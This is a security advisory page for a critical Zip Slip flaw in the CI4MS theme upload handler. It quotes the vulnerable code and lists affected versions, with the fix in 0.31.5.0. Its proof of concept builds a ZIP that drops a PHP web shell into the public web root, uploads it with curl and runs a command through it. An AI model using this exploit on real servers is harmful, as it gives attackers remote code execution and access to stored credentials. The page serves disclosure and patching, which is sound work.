GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-xv3r-vr59-95rgcritical9.4

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Check your stack

The advisory, in context

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 0.31.5.0

Fixed in 0.31.5.0

52 explicitly affected versions

0.21.0, 0.21.1, 0.21.2, 0.21.3, 0.21.3.1, 0.21.3.2, 0.21.3.3, 0.21.3.4, 0.21.3.5, 0.21.3.6, 0.21.3.7, 0.23.0.0, 0.23.0.1, 0.23.0.2, 0.23.1.0, 0.24.0.0, 0.24.0.16, 0.24.0.18, 0.24.0.19, 0.24.0.20, 0.24.0.27, 0.24.0.42, 0.24.0.45, 0.24.0.60, 0.25.0.0, 0.25.0.1, 0.25.0.2, 0.25.0.30, 0.25.0.39, 0.25.0.43, 0.25.1.0, 0.25.2.0, 0.25.3.0, 0.26.0.0, 0.26.1.0, 0.26.2.0, 0.26.3.0, 0.26.3.1, 0.26.3.2, 0.26.3.3, 0.26.3.4, 0.27.0.0, 0.28.0.0, 0.28.3.0, 0.28.4.0, 0.28.5.0, 0.28.6.0, 0.31.0.0, 0.31.1.0, 0.31.2.0, 0.31.3.0, 0.31.4.0

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "0.31.5.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "0.21.0",
    "0.21.1",
    "0.21.2",
    "0.21.3",
    "0.21.3.1",
    "0.21.3.2",
    "0.21.3.3",
    "0.21.3.4",
    "0.21.3.5",
    "0.21.3.6",
    "0.21.3.7",
    "0.23.0.0",
    "0.23.0.1",
    "0.23.0.2",
    "0.23.1.0",
    "0.24.0.0",
    "0.24.0.16",
    "0.24.0.18",
    "0.24.0.19",
    "0.24.0.20",
    "0.24.0.27",
    "0.24.0.42",
    "0.24.0.45",
    "0.24.0.60",
    "0.25.0.0",
    "0.25.0.1",
    "0.25.0.2",
    "0.25.0.30",
    "0.25.0.39",
    "0.25.0.43",
    "0.25.1.0",
    "0.25.2.0",
    "0.25.3.0",
    "0.26.0.0",
    "0.26.1.0",
    "0.26.2.0",
    "0.26.3.0",
    "0.26.3.1",
    "0.26.3.2",
    "0.26.3.3",
    "0.26.3.4",
    "0.27.0.0",
    "0.28.0.0",
    "0.28.3.0",
    "0.28.4.0",
    "0.28.5.0",
    "0.28.6.0",
    "0.31.0.0",
    "0.31.1.0",
    "0.31.2.0",
    "0.31.3.0",
    "0.31.4.0"
  ]
}

References